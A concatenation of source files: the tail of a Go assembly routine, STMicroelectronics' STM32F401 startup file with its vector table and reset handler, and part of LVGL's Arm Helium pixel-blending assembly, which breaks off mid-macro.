0(SP)) gfpReduce(0(SP)) end: MOVQ c+0(FP), DI storeBlock(R12,R13,R14,CX, 0(DI)) RET

10110111/usb2ps2conv

21,625

src/startup_stm32f401xc.s

/** ****************************************************************************** * @file startup_stm32f401xc.s * @author MCD Application Team * @version V2.4.1 * @date 09-October-2015 * @brief STM32F401xCxx Devices vector table for GCC based toolchains. * This module performs: * - Set the initial SP * - Set the initial PC == Reset_Handler, * - Set the vector table entries with the exceptions ISR address * - Branches to main in the C library (which eventually * calls main()). * After Reset the Cortex-M4 processor is in Thread mode, * priority is Privileged, and the Stack is set to Main. ****************************************************************************** * @attention * * <h2><center>© COPYRIGHT 2015 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ .syntax unified .cpu cortex-m4 .fpu softvfp .thumb .global g_pfnVectors .global Default_Handler /* start address for the initialization values of the .data section. defined in linker script */ .word _sidata /* start address for the .data section. defined in linker script */ .word _sdata /* end address for the .data section. defined in linker script */ .word _edata /* start address for the .bss section. defined in linker script */ .word _sbss /* end address for the .bss section. defined in linker script */ .word _ebss /* stack used for SystemInit_ExtMemCtl; always internal RAM used */ /** * @brief This is the code that gets called when the processor first * starts execution following a reset event. Only the absolutely * necessary set is performed, after which the application * supplied main() routine is called. * @param None * @retval : None */ .section .text.Reset_Handler .weak Reset_Handler .type Reset_Handler, %function Reset_Handler: ldr sp, =_estack /* set stack pointer */ /* Copy the data segment initializers from flash to SRAM */ movs r1, #0 b LoopCopyDataInit CopyDataInit: ldr r3, =_sidata ldr r3, [r3, r1] str r3, [r0, r1] adds r1, r1, #4 LoopCopyDataInit: ldr r0, =_sdata ldr r3, =_edata adds r2, r0, r1 cmp r2, r3 bcc CopyDataInit ldr r2, =_sbss b LoopFillZerobss /* Zero fill the bss segment. */ FillZerobss: movs r3, #0 str r3, [r2], #4 LoopFillZerobss: ldr r3, = _ebss cmp r2, r3 bcc FillZerobss /* Call the clock system intitialization function.*/ bl SystemInit /* Call static constructors */ bl __libc_init_array /* Call the application's entry point.*/ bl main bx lr .size Reset_Handler, .-Reset_Handler /** * @brief This is the code that gets called when the processor receives an * unexpected interrupt. This simply enters an infinite loop, preserving * the system state for examination by a debugger. * @param None * @retval None */ .section .text.Default_Handler,"ax",%progbits Default_Handler: Infinite_Loop: b Infinite_Loop .size Default_Handler, .-Default_Handler /****************************************************************************** * * The minimal vector table for a Cortex M3. Note that the proper constructs * must be placed on this to ensure that it ends up at physical address * 0x0000.0000. * *******************************************************************************/ .section .isr_vector,"a",%progbits .type g_pfnVectors, %object .size g_pfnVectors, .-g_pfnVectors g_pfnVectors: .word _estack .word Reset_Handler .word NMI_Handler .word HardFault_Handler .word MemManage_Handler .word BusFault_Handler .word UsageFault_Handler .word 0 .word 0 .word 0 .word 0 .word SVC_Handler .word DebugMon_Handler .word 0 .word PendSV_Handler .word SysTick_Handler /* External Interrupts */ .word WWDG_IRQHandler /* Window WatchDog */ .word PVD_IRQHandler /* PVD through EXTI Line detection */ .word TAMP_STAMP_IRQHandler /* Tamper and TimeStamps through the EXTI line */ .word RTC_WKUP_IRQHandler /* RTC Wakeup through the EXTI line */ .word FLASH_IRQHandler /* FLASH */ .word RCC_IRQHandler /* RCC */ .word EXTI0_IRQHandler /* EXTI Line0 */ .word EXTI1_IRQHandler /* EXTI Line1 */ .word EXTI2_IRQHandler /* EXTI Line2 */ .word EXTI3_IRQHandler /* EXTI Line3 */ .word EXTI4_IRQHandler /* EXTI Line4 */ .word DMA1_Stream0_IRQHandler /* DMA1 Stream 0 */ .word DMA1_Stream1_IRQHandler /* DMA1 Stream 1 */ .word DMA1_Stream2_IRQHandler /* DMA1 Stream 2 */ .word DMA1_Stream3_IRQHandler /* DMA1 Stream 3 */ .word DMA1_Stream4_IRQHandler /* DMA1 Stream 4 */ .word DMA1_Stream5_IRQHandler /* DMA1 Stream 5 */ .word DMA1_Stream6_IRQHandler /* DMA1 Stream 6 */ .word ADC_IRQHandler /* ADC1 */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word EXTI9_5_IRQHandler /* External Line[9:5]s */ .word TIM1_BRK_TIM9_IRQHandler /* TIM1 Break and TIM9 */ .word TIM1_UP_TIM10_IRQHandler /* TIM1 Update and TIM10 */ .word TIM1_TRG_COM_TIM11_IRQHandler /* TIM1 Trigger and Commutation and TIM11 */ .word TIM1_CC_IRQHandler /* TIM1 Capture Compare */ .word TIM2_IRQHandler /* TIM2 */ .word TIM3_IRQHandler /* TIM3 */ .word TIM4_IRQHandler /* TIM4 */ .word I2C1_EV_IRQHandler /* I2C1 Event */ .word I2C1_ER_IRQHandler /* I2C1 Error */ .word I2C2_EV_IRQHandler /* I2C2 Event */ .word I2C2_ER_IRQHandler /* I2C2 Error */ .word SPI1_IRQHandler /* SPI1 */ .word SPI2_IRQHandler /* SPI2 */ .word USART1_IRQHandler /* USART1 */ .word USART2_IRQHandler /* USART2 */ .word 0 /* Reserved */ .word EXTI15_10_IRQHandler /* External Line[15:10]s */ .word RTC_Alarm_IRQHandler /* RTC Alarm (A and B) through EXTI Line */ .word OTG_FS_WKUP_IRQHandler /* USB OTG FS Wakeup through EXTI line */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word DMA1_Stream7_IRQHandler /* DMA1 Stream7 */ .word 0 /* Reserved */ .word SDIO_IRQHandler /* SDIO */ .word TIM5_IRQHandler /* TIM5 */ .word SPI3_IRQHandler /* SPI3 */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word DMA2_Stream0_IRQHandler /* DMA2 Stream 0 */ .word DMA2_Stream1_IRQHandler /* DMA2 Stream 1 */ .word DMA2_Stream2_IRQHandler /* DMA2 Stream 2 */ .word DMA2_Stream3_IRQHandler /* DMA2 Stream 3 */ .word DMA2_Stream4_IRQHandler /* DMA2 Stream 4 */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word OTG_FS_IRQHandler /* USB OTG FS */ .word DMA2_Stream5_IRQHandler /* DMA2 Stream 5 */ .word DMA2_Stream6_IRQHandler /* DMA2 Stream 6 */ .word DMA2_Stream7_IRQHandler /* DMA2 Stream 7 */ .word USART6_IRQHandler /* USART6 */ .word I2C3_EV_IRQHandler /* I2C3 event */ .word I2C3_ER_IRQHandler /* I2C3 error */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word FPU_IRQHandler /* FPU */ .word 0 /* Reserved */ .word 0 /* Reserved */ .word SPI4_IRQHandler /* SPI4 */ /******************************************************************************* * * Provide weak aliases for each Exception handler to the Default_Handler. * As they are weak aliases, any function with the same name will override * this definition. * *******************************************************************************/ .weak NMI_Handler .thumb_set NMI_Handler,Default_Handler .weak HardFault_Handler .thumb_set HardFault_Handler,Default_Handler .weak MemManage_Handler .thumb_set MemManage_Handler,Default_Handler .weak BusFault_Handler .thumb_set BusFault_Handler,Default_Handler .weak UsageFault_Handler .thumb_set UsageFault_Handler,Default_Handler .weak SVC_Handler .thumb_set SVC_Handler,Default_Handler .weak DebugMon_Handler .thumb_set DebugMon_Handler,Default_Handler .weak PendSV_Handler .thumb_set PendSV_Handler,Default_Handler .weak SysTick_Handler .thumb_set SysTick_Handler,Default_Handler .weak WWDG_IRQHandler .thumb_set WWDG_IRQHandler,Default_Handler .weak PVD_IRQHandler .thumb_set PVD_IRQHandler,Default_Handler .weak TAMP_STAMP_IRQHandler .thumb_set TAMP_STAMP_IRQHandler,Default_Handler .weak RTC_WKUP_IRQHandler .thumb_set RTC_WKUP_IRQHandler,Default_Handler .weak FLASH_IRQHandler .thumb_set FLASH_IRQHandler,Default_Handler .weak RCC_IRQHandler .thumb_set RCC_IRQHandler,Default_Handler .weak EXTI0_IRQHandler .thumb_set EXTI0_IRQHandler,Default_Handler .weak EXTI1_IRQHandler .thumb_set EXTI1_IRQHandler,Default_Handler .weak EXTI2_IRQHandler .thumb_set EXTI2_IRQHandler,Default_Handler .weak EXTI3_IRQHandler .thumb_set EXTI3_IRQHandler,Default_Handler .weak EXTI4_IRQHandler .thumb_set EXTI4_IRQHandler,Default_Handler .weak DMA1_Stream0_IRQHandler .thumb_set DMA1_Stream0_IRQHandler,Default_Handler .weak DMA1_Stream1_IRQHandler .thumb_set DMA1_Stream1_IRQHandler,Default_Handler .weak DMA1_Stream2_IRQHandler .thumb_set DMA1_Stream2_IRQHandler,Default_Handler .weak DMA1_Stream3_IRQHandler .thumb_set DMA1_Stream3_IRQHandler,Default_Handler .weak DMA1_Stream4_IRQHandler .thumb_set DMA1_Stream4_IRQHandler,Default_Handler .weak DMA1_Stream5_IRQHandler .thumb_set DMA1_Stream5_IRQHandler,Default_Handler .weak DMA1_Stream6_IRQHandler .thumb_set DMA1_Stream6_IRQHandler,Default_Handler .weak ADC_IRQHandler .thumb_set ADC_IRQHandler,Default_Handler .weak EXTI9_5_IRQHandler .thumb_set EXTI9_5_IRQHandler,Default_Handler .weak TIM1_BRK_TIM9_IRQHandler .thumb_set TIM1_BRK_TIM9_IRQHandler,Default_Handler .weak TIM1_UP_TIM10_IRQHandler .thumb_set TIM1_UP_TIM10_IRQHandler,Default_Handler .weak TIM1_TRG_COM_TIM11_IRQHandler .thumb_set TIM1_TRG_COM_TIM11_IRQHandler,Default_Handler .weak TIM1_CC_IRQHandler .thumb_set TIM1_CC_IRQHandler,Default_Handler .weak TIM2_IRQHandler .thumb_set TIM2_IRQHandler,Default_Handler .weak TIM3_IRQHandler .thumb_set TIM3_IRQHandler,Default_Handler .weak TIM4_IRQHandler .thumb_set TIM4_IRQHandler,Default_Handler .weak I2C1_EV_IRQHandler .thumb_set I2C1_EV_IRQHandler,Default_Handler .weak I2C1_ER_IRQHandler .thumb_set I2C1_ER_IRQHandler,Default_Handler .weak I2C2_EV_IRQHandler .thumb_set I2C2_EV_IRQHandler,Default_Handler .weak I2C2_ER_IRQHandler .thumb_set I2C2_ER_IRQHandler,Default_Handler .weak SPI1_IRQHandler .thumb_set SPI1_IRQHandler,Default_Handler .weak SPI2_IRQHandler .thumb_set SPI2_IRQHandler,Default_Handler .weak USART1_IRQHandler .thumb_set USART1_IRQHandler,Default_Handler .weak USART2_IRQHandler .thumb_set USART2_IRQHandler,Default_Handler .weak EXTI15_10_IRQHandler .thumb_set EXTI15_10_IRQHandler,Default_Handler .weak RTC_Alarm_IRQHandler .thumb_set RTC_Alarm_IRQHandler,Default_Handler .weak OTG_FS_WKUP_IRQHandler .thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler .weak DMA1_Stream7_IRQHandler .thumb_set DMA1_Stream7_IRQHandler,Default_Handler .weak SDIO_IRQHandler .thumb_set SDIO_IRQHandler,Default_Handler .weak TIM5_IRQHandler .thumb_set TIM5_IRQHandler,Default_Handler .weak SPI3_IRQHandler .thumb_set SPI3_IRQHandler,Default_Handler .weak DMA2_Stream0_IRQHandler .thumb_set DMA2_Stream0_IRQHandler,Default_Handler .weak DMA2_Stream1_IRQHandler .thumb_set DMA2_Stream1_IRQHandler,Default_Handler .weak DMA2_Stream2_IRQHandler .thumb_set DMA2_Stream2_IRQHandler,Default_Handler .weak DMA2_Stream3_IRQHandler .thumb_set DMA2_Stream3_IRQHandler,Default_Handler .weak DMA2_Stream4_IRQHandler .thumb_set DMA2_Stream4_IRQHandler,Default_Handler .weak OTG_FS_IRQHandler .thumb_set OTG_FS_IRQHandler,Default_Handler .weak DMA2_Stream5_IRQHandler .thumb_set DMA2_Stream5_IRQHandler,Default_Handler .weak DMA2_Stream6_IRQHandler .thumb_set DMA2_Stream6_IRQHandler,Default_Handler .weak DMA2_Stream7_IRQHandler .thumb_set DMA2_Stream7_IRQHandler,Default_Handler .weak USART6_IRQHandler .thumb_set USART6_IRQHandler,Default_Handler .weak I2C3_EV_IRQHandler .thumb_set I2C3_EV_IRQHandler,Default_Handler .weak I2C3_ER_IRQHandler .thumb_set I2C3_ER_IRQHandler,Default_Handler .weak FPU_IRQHandler .thumb_set FPU_IRQHandler,Default_Handler .weak SPI4_IRQHandler .thumb_set SPI4_IRQHandler,Default_Handler /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/

100askTeam/xiaozhi-linux

21,041

gui/lvgl/src/draw/sw/blend/helium/lv_blend_helium.S

/** * @file lv_blend_helium.S * */ #ifndef __ASSEMBLY__ #define __ASSEMBLY__ #endif #include "lv_blend_helium.h" #if LV_USE_DRAW_SW_ASM == LV_DRAW_SW_ASM_HELIUM && defined(__ARM_FEATURE_MVE) && __ARM_FEATURE_MVE && LV_USE_NATIVE_HELIUM_ASM .data reciprocal: .byte 0xFF, 0xE2, 0xCC, 0xB9, 0xAA, 0x9C, 0x91, 0x88 .text .syntax unified .p2align 2 TMP .req r0 DST_ADDR .req r1 DST_W .req r2 DST_H .req r3 DST_STRIDE .req r4 SRC_ADDR .req r5 SRC_STRIDE .req r6 MASK_ADDR .req r7 MASK_STRIDE .req r8 H .req r9 OPA .req r10 RCP .req r11 S_B .req q0 S_G .req q1 S_R .req q2 S_A .req q3 D_B .req q4 D_G .req q5 D_R .req q6 D_A .req q7 N .req q0 V .req q1 R .req q2 L .req q4 S_565 .req q0 D_565 .req q1 S_L .req q2 D_L .req q4 D_T .req q5 BITMASK .req q6 .macro ldst st, op, bpp, mem, reg, areg, cvt, alt_index, wb, aligned .if \bpp == 0 .if \cvt ldr TMP, [\mem\()_ADDR] bfi TMP, TMP, #2, #8 bfi TMP, TMP, #3, #16 lsr TMP, TMP, #8 vdup.16 \reg\()_565, TMP .else ldr TMP, [\mem\()_ADDR] vdup.8 \reg\()_B, TMP lsr TMP, #8 vdup.8 \reg\()_G, TMP lsr TMP, #8 vdup.8 \reg\()_R, TMP .endif .elseif \bpp == 8 .if \cvt v\op\()rb.u16 \reg\()_A, [\mem\()_ADDR], #8 .else v\op\()rb.8 \reg\()_A, [\mem\()_ADDR], #16 .endif .elseif \bpp == 16 .if \cvt .if \st vsri.8 \reg\()_R, \reg\()_G, #5 vshr.u8 \reg\()_G, \reg\()_G, #2 vshr.u8 \reg\()_B, \reg\()_B, #3 vsli.8 \reg\()_B, \reg\()_G, #5 .endif .if \alt_index v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, S_B] v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, S_G] .else v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, \reg\()_A] add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, \reg\()_A] .endif .if \st == 0 vshl.u8 \reg\()_G, \reg\()_R, #5 vsri.u8 \reg\()_G, \reg\()_B, #3 vshl.u8 \reg\()_B, \reg\()_B, #3 vsri.u8 \reg\()_R, \reg\()_R, #5 vsri.u8 \reg\()_G, \reg\()_G, #6 vsri.u8 \reg\()_B, \reg\()_B, #5 .endif .ifc \wb, ! .if \alt_index add \mem\()_ADDR, #32 .else add \mem\()_ADDR, #31 .endif .elseif \alt_index == 0 sub \mem\()_ADDR, #1 .endif .else @ cvt .ifc \wb, ! v\op\()rh.16 \reg\()_565, [\mem\()_ADDR], #16 .else v\op\()rh.16 \reg\()_565, [\mem\()_ADDR] .endif .endif .elseif \bpp == 24 .if \alt_index == 1 v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, S_B] v\op\()rb.8 \reg\()_G, [\mem\()_ADDR, S_G] v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, S_R] .elseif \alt_index == 2 v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, S_R] v\op\()rb.8 \reg\()_G, [\mem\()_ADDR, S_A] v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, D_A] .else v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, \reg\()_A] add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_G, [\mem\()_ADDR, \reg\()_A] add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, \reg\()_A] .endif .ifc \wb, ! .if \alt_index add \mem\()_ADDR, #48 .else add \mem\()_ADDR, #46 .endif .elseif \alt_index == 0 sub \mem\()_ADDR, #2 .endif .elseif \aligned v\op\()40.8 {\reg\()_B, \reg\()_G, \reg\()_R, \reg\()_A}, [\mem\()_ADDR] v\op\()41.8 {\reg\()_B, \reg\()_G, \reg\()_R, \reg\()_A}, [\mem\()_ADDR] v\op\()42.8 {\reg\()_B, \reg\()_G, \reg\()_R, \reg\()_A}, [\mem\()_ADDR] v\op\()43.8 {\reg\()_B, \reg\()_G, \reg\()_R, \reg\()_A}, [\mem\()_ADDR]\wb .else v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, \areg\()_A] add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_G, [\mem\()_ADDR, \areg\()_A] add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, \areg\()_A] .if (\bpp == 32) || (\bpp == 31) && \st add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_A, [\mem\()_ADDR, \areg\()_A] .endif .ifc \wb, ! .if (\bpp == 32) || (\bpp == 31) && \st add \mem\()_ADDR, #61 .else add \mem\()_ADDR, #62 .endif .else .if (\bpp == 32) || (\bpp == 31) && \st sub \mem\()_ADDR, #3 .else sub \mem\()_ADDR, #2 .endif .endif .endif .endm .macro load_index bpp, reg, areg, aligned .if (\bpp > 0) && ((\bpp < 31) || (\aligned == 0)) mov TMP, #0 .if \bpp == 8 vidup.u8 \reg\()_A, TMP, #1 .elseif \bpp == 16 vidup.u8 \reg\()_A, TMP, #2 .elseif \bpp == 24 vidup.u8 \reg\()_A, TMP, #1 mov TMP, #3 vmul.u8 \reg\()_A, \reg\()_A, TMP .else vidup.u8 \areg\()_A, TMP, #4 .endif .endif .endm .macro init src_bpp, dst_bpp, mask, opa ldr DST_ADDR, [r0, #4] ldr DST_W, [r0, #8] ldr DST_H, [r0, #12] ldr DST_STRIDE, [r0, #16] ldr SRC_ADDR, [r0, #20] .if \src_bpp > 0 ldr SRC_STRIDE, [r0, #24] .endif .if \mask ldr MASK_ADDR, [r0, #28] ldr MASK_STRIDE, [r0, #32] .endif .if \opa ldr OPA, [r0] .endif .if (\src_bpp <= 16) && (\dst_bpp == 16) .if \opa || \mask mov TMP, #0xF81F movt TMP, #0x7E0 vdup.32 BITMASK, TMP .endif add TMP, DST_W, #0x7 bic TMP, TMP, #0x7 .else add TMP, DST_W, #0xF bic TMP, TMP, #0xF .endif .if \dst_bpp == 32 ldr RCP, =(reciprocal - 8) .endif .if \dst_bpp == 16 sub DST_STRIDE, DST_STRIDE, TMP, lsl #1 .elseif \dst_bpp == 24 sub DST_STRIDE, DST_STRIDE, TMP sub DST_STRIDE, DST_STRIDE, TMP, lsl #1 .elseif \dst_bpp >= 31 sub DST_STRIDE, DST_STRIDE, TMP, lsl #2 .endif .if \mask sub MASK_STRIDE, MASK_STRIDE, TMP .endif .if \src_bpp == 0 .if \mask || \opa .if \dst_bpp > 16 ldst 0, ld, \src_bpp, SRC, S, D, 0, 0 vmov.u8 S_A, #0xFF .else ldst 0, ld, \src_bpp, SRC, S, D, 1, 0 vmovlb.u16 S_L, S_565 vsli.32 S_L, S_L, #16 vand S_L, S_L, BITMASK .endif .else .if \dst_bpp > 16 ldst 0, ld, \src_bpp, SRC, D, S, 0, 0 .else ldst 0, ld, \src_bpp, SRC, D, S, 1, 0 .endif .endif .else .if \src_bpp == 16 sub SRC_STRIDE, SRC_STRIDE, TMP, lsl #1 .elseif \src_bpp == 24 sub SRC_STRIDE, SRC_STRIDE, TMP sub SRC_STRIDE, SRC_STRIDE, TMP, lsl #1 .elseif \src_bpp >= 31 sub SRC_STRIDE, SRC_STRIDE, TMP, lsl #2 .endif .endif .if (\src_bpp < 32) && (\mask == 0) && (\opa == 0) && !((\src_bpp <= 16) && (\dst_bpp == 16)) @ 16 to 31/32 or reverse: index @ q0, q1 @ 24 to 31/32 or reverse: index @ q0, q1, q2 @ 16 to 24 or reverse: 16 index @ q0, q1, 24 index @ q2, q3, q7 @ 31 to 31/32: index @ q3 (tail only) mov TMP, #0 .if (\src_bpp == 16) || (\dst_bpp == 16) vidup.u8 S_B, TMP, #2 mov TMP, #1 vadd.u8 S_G, S_B, TMP .if (\src_bpp == 24) || (\dst_bpp == 24) vshl.u8 S_R, S_B, #1 vadd.u8 S_R, S_R, S_B vshr.u8 S_R, S_R, #1 vadd.u8 S_A, S_R, TMP vadd.u8 D_A, S_A, TMP .endif .elseif (\src_bpp == 24) || (\dst_bpp == 24) vidup.u8 S_B, TMP, #1 mov TMP, #3 vmul.u8 S_B, S_B, TMP mov TMP, #1 vadd.u8 S_G, S_B, TMP vadd.u8 S_R, S_G, TMP .endif .if \dst_bpp >= 31 load_index \dst_bpp, D, S, 0 vmov.u8 D_A, #0xFF .endif .endif .endm .macro vqrdmulh_u8 Qd, Qn, Qm @ 1 bit precision loss vmulh.u8 \Qd, \Qn, \Qm vqshl.u8 \Qd, \Qd, #1 .endm .macro premult mem, alpha vrmulh.u8 \mem\()_B, \mem\()_B, \alpha vrmulh.u8 \mem\()_G, \mem\()_G, \alpha vrmulh.u8 \mem\()_R, \mem\()_R, \alpha .endm .macro blend_565 p vmovl\p\().u16 D_L, D_565 vsli.32 D_L, D_L, #16 vand D_L, D_L, BITMASK vsub.u32 D_T, S_L, D_L vmovl\p\().u16 D_A, S_A vmul.u32 D_T, D_T, D_A vshr.u32 D_T, D_T, #5 vadd.u32 D_L, D_L, D_T vand D_L, D_L, BITMASK vshr.u32 D_T, D_L, #16 vorr D_L, D_L, D_T vmovn\p\().u32 D_565, D_L .endm .macro late_init src_bpp, dst_bpp, mask, opa, mode .if (\src_bpp <= 16) && (\dst_bpp == 16) && (\mask == 0) .if \opa == 2 mov TMP, #0x7BEF vdup.16 BITMASK, TMP .if \src_bpp == 0 vshr.u16 S_L, S_565, #1 vand S_L, S_L, BITMASK .endif .elseif \opa == 1 vdup.16 S_A, OPA mov TMP, #4 vadd.u16 S_A, S_A, TMP vshr.u16 S_A, S_A, #3 .endif .endif .endm .macro blend src_bpp, dst_bpp, mask, opa, mode .if (\mask == 0) && (\opa == 2) .if (\src_bpp <= 16) && (\dst_bpp == 16) .if \src_bpp > 0 vshr.u16 S_L, S_565, #1 vand S_L, S_L, BITMASK .endif vshr.u16 D_L, D_565, #1 vand D_L, D_L, BITMASK vadd.u16 D_565, S_L, D_L .else vhadd.u8 D_B, D_B, S_B vhadd.u8 D_G, D_G, S_G vhadd.u8 D_R, D_R, S_R .endif .elseif (\src_bpp <= 16) && (\dst_bpp == 16) lsl lr, #1 .if \src_bpp > 0 vmovlb.u16 S_L, S_565 vsli.32 S_L, S_L, #16 vand S_L, S_L, BITMASK .endif blend_565 b .if \src_bpp > 0 vmovlt.u16 S_L, S_565 vsli.32 S_L, S_L, #16 vand S_L, S_L, BITMASK .endif blend_565 t lsr lr, #1 .else .if \dst_bpp < 32 .if (\opa == 0) && (\mask == 0) vmov.u8 D_A, #0xFF mov TMP, #0 vabav.u8 TMP, S_A, D_A cbnz TMP, 91f vmov D_B, S_B vmov D_G, S_G vmov D_R, S_R b 88f 91: .endif vmvn D_A, S_A premult S, S_A premult D, D_A .else vpush {d0-d5} vmov.u8 S_B, #0xFF vmov.u8 S_G, #0 mov TMP, #0 vabav.u8 TMP, S_A, S_B cbz TMP, 91f @ if(fg.alpha == 255 mov TMP, #0 vabav.u8 TMP, D_A, S_G cbnz TMP, 90f @ || bg.alpha == 0) 91: vpop {d8-d13} @ return fg; vmov.u8 D_A, #0xFF b 88f 90: mov TMP, #0 vabav.u8 TMP, S_A, S_G cmp TMP, #2 @ if(fg.alpha <= LV_OPA_MIN) itt le @ return bg; vpople {d0-d5} ble 88f mov TMP, #0 vabav.u8 TMP, D_A, S_B @ if (bg.alpha == 255) cbnz TMP, 89f @ return lv_color_mix32(fg, bg); vpop {d0-d5} vmvn D_A, S_A premult S, S_A premult D, D_A vqadd.u8 D_B, D_B, S_B vqadd.u8 D_G, D_G, S_G vqadd.u8 D_R, D_R, S_R vmov.u8 D_A, #0xFF b 88f 89: vmvn N, S_A vmvn D_A, D_A vrmulh.u8 D_A, N, D_A vmvn D_A, D_A @ D_A = 255 - LV_OPA_MIX2(255 - fg.alpha, 255 - bg.alpha) vclz.i8 N, D_A @ n = clz(D_A) vshl.u8 V, D_A, N @ v = D_A << n vshl.u8 S_A, S_A, N vshr.u8 N, V, #4 @ N is used as tmp from now on vldrb.u8 R, [RCP, N] @ r = reciprocal[(v >> 4) - 8] vrmulh.u8 N, V, R @ r = newton(v,r) vmvn N, N @ = vqrdmulh.u8(vmvn(vrmulh(v, r)), r) vqrdmulh_u8 R, N, R @ but vqrdmulh does not support u8, so we implement one vrmulh.u8 N, V, R @ and do it twice vmvn N, N vqrdmulh_u8 R, N, R vqrdmulh_u8 S_A, S_A, R @ S_A' = S_A * 255 / D_A = vrdmulh(S_A << n, r) vpop {d0-d5} premult S, S_A vmvn S_A, S_A premult D, S_A .endif vqadd.u8 D_B, D_B, S_B vqadd.u8 D_G, D_G, S_G vqadd.u8 D_R, D_R, S_R .endif .if \dst_bpp == 31 vmov.u8 D_A, #0xFF .endif 88: .endm .macro blend_line src_bpp, dst_bpp, mask, opa, mode .if (\src_bpp < 31) && (\dst_bpp < 31) blend_block \src_bpp, \dst_bpp, \mask, \opa, \mode, DST_W, 0 .else bics TMP, DST_W, #0xF beq 87f blend_block \src_bpp, \dst_bpp, \mask, \opa, \mode, TMP, 1 87: ands TMP, DST_W, #0xF beq 86f blend_block \src_bpp, \dst_bpp, \mask, \opa, \mode, TMP, 0 86: .endif .endm .macro blend_block src_bpp, dst_bpp, mask, opa, mode, w, aligned .if (\src_bpp <= 16) && (\dst_bpp == 16) wlstp.16 lr, \w, 1f .else wlstp.8 lr, \w, 1f .endif 2: .if (\src_bpp < 32) && (\mask == 0) && (\opa == 0) @ no blend .if \src_bpp == 0 ldst 1, st, \dst_bpp, DST, D, S, 0, 1, !, \aligned .elseif (\src_bpp == \dst_bpp) || (\src_bpp == 31) && (\dst_bpp == 32) .if \dst_bpp < 31 .if \src_bpp < 31 ldst 0, ld, \src_bpp, SRC, D, S, 0, 1, !, \aligned .else ldst 0, ld, \src_bpp, SRC, D, S, 0, 1, !, \aligned .endif ldst 1, st, \dst_bpp, DST, D, S, 0, 1, !, \aligned .else ldst 0, ld, \src_bpp, SRC, D, S, 0, 1, !, \aligned ldst 1, st, \dst_bpp, DST, D, S, 0, 1, !, \aligned .endif .else .if (\dst_bpp < 31) && (\src_bpp < 31) ldst 0, ld, \src_bpp, SRC, D, S, 1, 2, !, \aligned ldst 1, st, \dst_bpp, DST, D, S, 1, 2, !, \aligned .else ldst 0, ld, \src_bpp, SRC, D, S, 1, 1, !, \aligned ldst 1, st, \dst_bpp, DST, D, S, 1, 1, !, \aligned .endif .endif .elseif (\src_bpp <= 16) && (\dst_bpp == 16) .if \src_bpp > 0 ldst 0, ld, \src_bpp, SRC, S, D, 0, 0, !, \aligned .endif ldst 0, ld, \dst_bpp, DST, D, S, 0, 0, , \aligned .if \mask ldst 0, ld, 8, MASK, S, D, 1, 0, ! .if \opa == 2 vshr.u16 S_A, S_A, #1 .elseif \opa == 1 vmul.u16 S_A, S_A, OPA vshr.u16 S_A, S_A, #8 .endif mov TMP, #4 vadd.u16 S_A, S_A, TMP vshr.u16 S_A, S_A, #3 .endif blend \src_bpp, \dst_bpp, \mask, \opa, \mode ldst 1, st, \dst_bpp, DST, D, S, 0, 0, !, \aligned .elseif \src_bpp < 32 @ no src_a .if \src_bpp > 0 load_index \src_bpp, S, D, \aligned ldst 0, ld, \src_bpp, SRC, S, D, 1, 0, !, \aligned .elseif (\opa == 1) || \mask vpush {d0-d5} .endif load_index \dst_bpp, D, S, \aligned ldst 0, ld, \dst_bpp, DST, D, S, 1, 0, , \aligned .if \mask ldst 0, ld, 8, MASK, S, D, 0, 0, !, \aligned .if \opa == 2 vshr.u8 S_A, S_A, #1 .elseif \opa == 1 .if \dst_bpp == 32 vpush {d14-d15} 